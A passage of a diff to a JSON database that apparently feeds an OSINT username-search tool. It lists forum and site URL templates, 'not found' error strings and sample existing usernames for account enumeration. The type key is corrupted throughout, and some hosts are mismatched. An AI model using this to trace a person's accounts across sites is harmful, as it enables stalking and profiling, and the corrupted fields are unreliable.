"desc\":\"Available!", + "errorMsg3": "valid\":true,", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://x.com/{}", + "urlMain": "https://x.com", + "urlProbe": "https://api.twitter.com/i/users/username_available.json?username={}", + "usernameON": "durov", + "bad_site": "" + }, + "Typeracer": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "<title>Profile Not Found", + "errorMsg2": "We couldn't find a profile for username:", + "errorTyp��": "message", + "url": "https://data.typeracer.com/pit/profile?user={}", + "urlMain": "https://data.typeracer.com/", + "usernameON": "blue", + "bad_site": "" + }, + "Uanime": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Тем або повідомлень", + "errorMsg2": "Інформація", + "errorMsg3": "

Please wait", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://uanime.org.ua/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "http://uanime.org.ua", + "usernameON": "Antigonius", + "comments": "old", + "bad_site": 1 + }, + "Uaodessa": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://uaodessa.com/index/8-0-{}", + "urlMain": "https://uaodessa.com", + "usernameON": "Trentonbouri", + "bad_site": "", + "exclusion": "\\W" + }, + "Uazpatriot": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://uazpatriot.ru/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://uazpatriot.ru", + "usernameON": "irina", + "bad_site": "" + }, + "Ubisoft_CLOSEDEAD": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://discussions.ubisoft.com/user/{}?lang=en-US", + "urlMain": "https://discussions.ubisoft.com", + "usernameON": "mrdarrek", + "bad_site": 1 + }, + "Uchportal": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://www.uchportal.ru/index/8-0-{}", + "urlMain": "https://www.uchportal.ru", + "usernameON": "adam", + "bad_site": "" + }, + "Udemy": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "url": "https://www.udemy.com/user/{}/", + "urlMain": "https://www.udemy.com", + "usernameON": "adammortimer", + "bad_site": "" + }, + "Ufocomm": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Найдено: 0 результатов", + "errorMsg2": "одожд", + "errorTyp��": "message", + "url": "https://www.ufocomm.ru/search/?&q={}&type=core_members", + "urlMain": "https://www.ufocomm.ru", + "usernameON": "vik", + "bad_site": "" + }, + "Uforum": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "content=\"noindex,follow", + "errorTyp��": "message", + "url": "https://uforum.uz/member.php?username={}", + "urlMain": "https://uforum.uz", + "usernameON": "Constantin", + "bad_site": "" + }, + "Uft": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://uft.me/persons/{}", + "urlMain": "https://uft.me", + "usernameON": "darkelectro", + "comments": "old", + "bad_site": 1 + }, + "Ukraine-footbal": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Користувача не знайдено", + "errorMsg2": "403 Forbidden", + "errorMsg3": "User not found", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ukraine-footbal.at.ua/index/8-0-{}", + "urlMain": "https://ukraine-footbal.at.ua", + "usernameON": "pavelsamoylov2022", + "bad_site": "" + }, + "Ultimate-Guitar": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://ultimate-guitar.com/u/{}", + "urlMain": "https://ultimate-guitar.com/", + "usernameON": "blue", + "bad_site": "" + }, + "Universemc": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://universemc.us/members/?username={}", + "urlMain": "https://universemc.us", + "usernameON": "sinnfein", + "comments": "RUblock", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Unixforum": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "unixforum.org - Информация", + "errorTyp��": "message", + "url": "https://unixforum.org/search.php?keywords=&terms=all&author={}", + "urlMain": "https://unixforum.org", + "usernameON": "adam", + "bad_site": "" + }, + "Unsorted": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Извините, такого пользователя не существует", + "errorMsg2": "unsorted ~ ", + "errorTyp��": "message", + "url": "https://unsorted.me/profile.php?mode=viewprofile&u={}", + "urlMain": "https://unsorted.me", + "usernameON": "DALDON", + "bad_site": "" + }, + "Unsplash": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://unsplash.com/@{}/likes", + "urlMain": "https://unsplash.com/", + "usernameON": "adam", + "bad_site": "" + }, + "Untappd": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://untappd.com/user/{}", + "urlMain": "https://untappd.com", + "usernameON": "adam", + "bad_site": "" + }, + "Uphillathlete": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://uphillathlete.com/forums/users/{}/", + "urlMain": "https://uphillathlete.com", + "usernameON": "yamabu", + "bad_site": "" + }, + "Uralfishing": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "nowrap=\"nowrap\">

14403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://mradchenko-ezo.ucoz.ru/index/8-0-{}", + "urlMain": "https://mradchenko-ezo.ucoz.ru", + "usernameON": "Telejaw", + "bad_site": "" + }, + "Forum_msa-iptv": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "Користувача не знайдено", + "errorTyp��": "message", + "url": "http://msa-iptv.net/index/8-0-{}", + "urlMain": "http://msa-iptv.net", + "usernameON": "grigorili", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_msextra": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "| Cloudflare", + "errorMsg3": "search at this time", + "errorTyp��": "message", + "url": "https://www.msextra.com/forums/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://www.msextra.com", + "usernameON": "Laminar", + "bad_site": "" + }, + "Forum_msfn": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://msfn.org/board/search/?q={}&quick=1&type=core_members", + "urlMain": "https://msfn.org", + "usernameON": "lmacri", + "bad_site": "" + }, + "Forum_msiu": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://msiwind.ucoz.net/index/8-0-{}", + "urlMain": "https://msiwind.ucoz.net", + "usernameON": "TimurR", + "bad_site": "" + }, + "Forum_mskwa": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "ничего не найдено", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://mskwa.foroesp.com/search.php?action=search&keywords=&author={}&forum=&search_in=0&sort_by=0&sort_dir=DESC&show_as=posts&search=%CE%F2%EF%F0%E0%E2%E8%F2%FC", + "urlMain": "https://mskwa.foroesp.com", + "usernameON": "tony", + "bad_site": "" + }, + "Forum_mssuao": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://mssuao.my1.ru/index/8-0-{}", + "urlMain": "https://mssuao.my1.ru/", + "usernameON": "roterb", + "bad_site": "" + }, + "Forum_mt5": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user has not registered and therefore does not have a profile to view.", + "errorMsg2": "Forex Forum | Forex Trading Forums | MT5 Forum", + "errorTyp��": "message", + "exclusion": "[а-яА-Я]", + "url": "https://forum.mt5.com/member.php?username={}", + "urlMain": "https://forum.mt5.com", + "usernameON": "adam", + "bad_site": 1 + }, + "Forum_mta-info": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://mta-info.ru/index/8-0-{}", + "urlMain": "https://mta-info.ru", + "usernameON": "Online", + "bad_site": "" + }, + "Forum_mtbr": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.mtbr.com/members/?username={}", + "urlMain": "https://www.mtbr.com", + "usernameON": "aargar", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_mucs": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://mucs.ucoz.ru/index/8-0-{}", + "urlMain": "https://mucs.ucoz.ru", + "usernameON": "Shinjitzu", + "bad_site": "" + }, + "Forum_muffingroup": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://forum.muffingroup.com/betheme/profile/{}", + "urlMain": "https://forum.muffingroup.com", + "usernameON": "charlie27", + "bad_site": "" + }, + "Forum_muppet": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user has not filled", + "errorMsg2": "Please wait", + "errorMsg3": "Sorry, ", + "errorTyp��": "message", + "headers": { + "Accept-Language": "ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", + "DNT": "1", + "Priority": "u=1", + "Connection": "keep-alive", + "Sec-Fetch-Dest": "document", + "Sec-Fetch-Mode": "navigate", + "Sec-Fetch-Site": "none", + "Sec-Fetch-User": "?1", + "Sec-GPC": "1", + "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:127.0) Gecko/20100101 Firefox/127.0" + }, + "exclusion": "[а-яА-Я]", + "url": "https://muppet.fandom.com/wiki/User:{}", + "urlMain": "https://muppet.fandom.com", + "usernameON": "Reidtaub", + "bad_site": "" + }, + "Forum_musclemecca": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://musclemecca.com/members/?username={}", + "urlMain": "https://musclemecca.com", + "usernameON": "tkd", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_musflat": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://musflat.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top", + "urlMain": "https://musflat.kamrbb.ru", + "usernameON": "555serg2005", + "bad_site": "" + }, + "Forum_musik3": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://musik3.ucoz.ru/index/8-0-{}", + "urlMain": "http://musik3.ucoz.ru/", + "usernameON": "Futbolki", + "bad_site": "" + }, + "Forum_muz-tv": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://muz-tv-forum.ucoz.ru/index/8-0-{}", + "urlMain": "https://muz-tv-forum.ucoz.ru", + "usernameON": "nadinvorobei", + "bad_site": "" + }, + "Forum_muzcom": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://muzcom.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top", + "urlMain": "https://muzcom.kamrbb.ru", + "usernameON": "%CA%EE%ED%F0%E0%E4", + "bad_site": "" + }, + "Forum_muzlar": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://muzlar.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top", + "urlMain": "https://muzlar.kamrbb.ru", + "usernameON": "%F8%F3%EC%E8%EB%E8%ED", + "bad_site": "" + }, + "Forum_mxlinux": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Information", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://forum.mxlinux.org/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.mxlinux.org", + "usernameON": "Stevo", + "bad_site": "" + }, + "Forum_mya": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.mya-uk.org.uk/forums/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.mya-uk.org.uk", + "usernameON": "downbytheriver", + "bad_site": "" + }, + "Forum_myaudiq5": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.myaudiq5.com/members/?username={}", + "urlMain": "https://www.myaudiq5.com", + "usernameON": "sargeq5", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_mybb": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "По вашему запросу ничего не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://forum.mybb.ru/search.php?action=search&keywords=&author={}", + "urlMain": "https://forum.mybb.ru", + "usernameON": "Deff", + "bad_site": "" + }, + "Forum_mybeautyconsultant": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://mybeautyconsultant.net/forum/members/?username={}", + "urlMain": "https://mybeautyconsultant.net", + "usernameON": "blackcoffee", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_Mybirds": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "Пожалуйста, ", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.mybirds.ru/forums/search/?&q={}&type&quick=1&search_and_or=or&sortby=relevancy", + "urlMain": "https://www.mybirds.ru/", + "usernameON": "Tanban", + "bad_site": "" + }, + "Forum_mybmwi3": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.mybmwi3.com/members/?username={}", + "urlMain": "https://www.mybmwi3.com", + "usernameON": "robjones", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_mychevybolt": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.mychevybolt.com/members/?username={}", + "urlMain": "https://www.mychevybolt.com", + "usernameON": "timetoy", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_mycity-military": { + "country": "🇪🇺", + "country_klas": "EU", + "errorMsg": "tim imenom ne postoji ", + "errorMsg2": "MyCity Military", + "errorTyp��": "message", + "url": "https://www.mycity-military.com/Korisnik/{}/", + "urlMain": "https://www.mycity-military.com", + "usernameON": "Milija", + "bad_site": "" + }, + "Forum_mycoffee": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://mycoffee.ucoz.ru/index/8-0-{}", + "urlMain": "https://mycoffee.ucoz.ru", + "usernameON": "Азазелло", + "bad_site": "" + }, + "Forum_mycoweb": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403", + "errorTyp��": "message", + "url": "https://myfc.ucoz.ru/index/8-0-{}", + "urlMain": "https://myfc.ucoz.ru", + "usernameON": "jag", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_myfocuselectric": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.myfocuselectric.com/members/?username={}", + "urlMain": "https://www.myfocuselectric.com", + "usernameON": "atikovi", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_myfriendsclub": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://myfriendsclub.ucoz.ru/index/8-0-{}", + "urlMain": "https://myfriendsclub.ucoz.ru", + "usernameON": "crasnovp1t", + "bad_site": "" + }, + "Forum_myfxbook": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://www.myfxbook.com/members/{}", + "urlMain": "https://www.myfxbook.com", + "usernameON": "esmumuex", + "bad_site": "" + }, + "Forum_mygolfspy": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Sorry, page not found", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://forum.mygolfspy.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forum.mygolfspy.com", + "usernameON": "bmdubya", + "bad_site": "" + }, + "Forum_myimiev": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://myimiev.com/members/?username={}", + "urlMain": "https://myimiev.com", + "usernameON": "jray3", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_myimmortal": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://myimmortal.forum24.ru/?32-{}", + "urlMain": "https://myimmortal.forum24.ru", + "usernameON": "de3fmjhhfq", + "bad_site": "" + }, + "Forum_Myjane": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "<title> - Женские форумы myJane", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Извините,", + "errorTyp��": "message", + "url": "http://forum.myjane.ru/profile.php?mode=viewprofile&u={}", + "urlMain": "http://forum.myjane.ru/", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_mymbonline": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.mymbonline.com/members/?username={}", + "urlMain": "https://www.mymbonline.com", + "usernameON": "odehboy", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_mymoscow": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://myslonim.by/index/8-0-{}", + "urlMain": "http://myslonim.by", + "usernameON": "wellnemo", + "bad_site": "" + }, + "Forum_myst": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://myst.ucoz.com/index/8-0-{}", + "urlMain": "https://myst.ucoz.com", + "usernameON": "vetal99977", + "bad_site": "" + }, + "Forum_mystic-school": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.mystic-school.ru/u/{}/summary", + "urlMain": "https://forum.postwrestling.com", + "usernameON": "ivan", + "bad_site": "" + }, + "Forum_mysticalgarland": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://mysticalgarland.at.ua/index/8-0-{}", + "urlMain": "https://mysticalgarland.at.ua", + "usernameON": "rusanov19110088", + "bad_site": "" + }, + "Forum_mysurvival": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://mysurvivalforum.com/members/?username={}", + "urlMain": "https://mysurvivalforum.com", + "usernameON": "mekada", + "comments": "bad", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": 1 + }, + "Forum_mytractor": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.mytractorforum.com/members/?username={}", + "urlMain": "https://www.mytractorforum.com", + "usernameON": "fuzzy2", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_mytrans": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://mytrans.3dn.ru/index/8-0-{}", + "urlMain": "https://mytrans.3dn.ru", + "usernameON": "kirilvoshnovskiy", + "bad_site": "" + }, + "Forum_myvisualdatabase": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No users were", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://myvisualdatabase.com/forum/userlist.php?username={}&show_group=-1&sort_by=username&sort_dir=ASC&search=Search", + "urlMain": "https://myvisualdatabase.com", + "usernameON": "DriveSoft", + "bad_site": "" + }, + "Forum_myword": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://myword.borda.ru/?32-{}", + "urlMain": "https://myword.borda.ru", + "usernameON": "kaccob", + "bad_site": "" + }, + "Forum_myxlam": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://myxlam.clan.su/index/8-0-{}", + "urlMain": "https://myxlam.clan.su", + "usernameON": "nagimrasul", + "bad_site": "" + }, + "Forum_mzee": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.mzee.com/forum/members/?username={}", + "urlMain": "https://www.mzee.com", + "usernameON": "eduardo", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_n2td": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.n2td.org/index.php?members/&username={}", + "urlMain": "https://forum.n2td.org", + "usernameON": "dylansmall", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_nabran": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.nabran.ru/index/8-0-{}", + "urlMain": "http://www.nabran.ru/", + "usernameON": "ghgjjg", + "bad_site": "" + }, + "Forum_nada25": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://nada25.ucoz.ru/index/8-0-{}", + "urlMain": "https://nada25.ucoz.ru", + "usernameON": "svn", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_nag": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пожалуйста, подождите", + "errorMsg2": "| Cloudflare", + "errorMsg3": "0 результатов", + "errorTyp��": "message", + "url": "https://forum.nag.ru/index.php?/search/&q={}&start_after=any", + "urlMain": "https://forum.nag.ru", + "usernameON": "frol13", + "bad_site": "" + }, + "Forum_nameberry": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://forum.nameberry.com/u/{}/summary", + "urlMain": "https://forum.nameberry.com", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_Namepros": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.namepros.com/members/?username={}", + "urlMain": "https://www.namepros.com", + "usernameON": "velted", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_napolimagazine": { + "country": "🇮🇹", + "country_klas": "IT", + "errorMsg": "Nessun argomento o messaggio", + "errorMsg2": "Al momento non ti", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.napolimagazine.info/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Cerca", + "urlMain": "https://www.napolimagazine.info/", + "usernameON": "pinos", + "bad_site": "" + }, + "Forum_narkomanija": { + "country": "🇪🇺", + "country_klas": "EU", + "errorMsg": "Information", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.narkomanija.ba/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://forum.narkomanija.ba", + "usernameON": "sanela", + "bad_site": "" + }, + "Forum_narutoshiprus": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://narutoshiprus.ucoz.ru/index/8-0-{}", + "urlMain": "https://narutoshiprus.ucoz.ru", + "usernameON": "fint333", + "bad_site": "" + }, + "Forum_nash-dialog": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://nash-dialog.com/members/?username={}", + "urlMain": "https://nash-dialog.com", + "usernameON": "nuarr", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_nashaplaneta": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Не найдено ни одного пользователя по заданным критериям", + "errorMsg2": "0 пользоват", + "errorTyp��": "message", + "url": "https://nashaplaneta.net/forum/memberlist.php?username={}", + "urlMain": "https://nashaplaneta.net", + "usernameON": "nausla", + "bad_site": "" + }, + "Forum_nashausadba": { + "country": "🇺🇦", + "country_klas": "UA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://nashausadba.com.ua/forum/members/?username={}", + "urlMain": "https://nashausadba.com.ua", + "usernameON": "manana", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_nashtransport": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "По вашему запросу ничего не найдено", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.nashtransport.ru/search/?q={}&quick=1&type=blog_entry", + "urlMain": "https://www.nashtransport.ru", + "usernameON": "kventz", + "bad_site": "" + }, + "Forum_nationsglory": { + "country": "🇫🇷", + "country_klas": "FR", + "errorMsg": "Erreur", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Pseudo inexistant", + "errorTyp��": "message", + "url": "https://nationsglory.fr/profile/{}", + "urlMain": "https://nationsglory.fr", + "usernameON": "nimomoney", + "bad_site": "" + }, + "Forum_navi": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://forum.navi.gg/search?query=&orderByType=relevance&user=+§ion=&calendarDate=", + "urlMain": "https://forum.navi.gg/", + "usernameON": "termenator46", + "bad_site": "" + }, + "Forum_navyclub": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://navyclub.ucoz.ru/index/8-0-{}", + "urlMain": "https://navyclub.ucoz.ru", + "usernameON": "Delfa", + "bad_site": "" + }, + "Forum_naydemvam": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "ничего не найдено", + "errorMsg2": "<title>Информация", + "errorTyp��": "message", + "url": "https://naydemvam.naydemvam.ru/search.php?action=search&keywords=&author={}&forum=&search_in=0&sort_by=0&sort_dir=DESC&show_as=posts&search=%CE%F2%EF%F0%E0%E2%E8%F2%FC", + "urlMain": "https://naydemvam.naydemvam.ru", + "usernameON": "Urri", + "bad_site": "" + }, + "Forum_nba777": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://nba777.ucoz.ru/index/8-0-{}", + "urlMain": "https://nba777.ucoz.ru", + "usernameON": "JustinFem", + "bad_site": "" + }, + "Forum_nbcsportsedge": { + "country": "🌎", + "country_klas": "WR", + 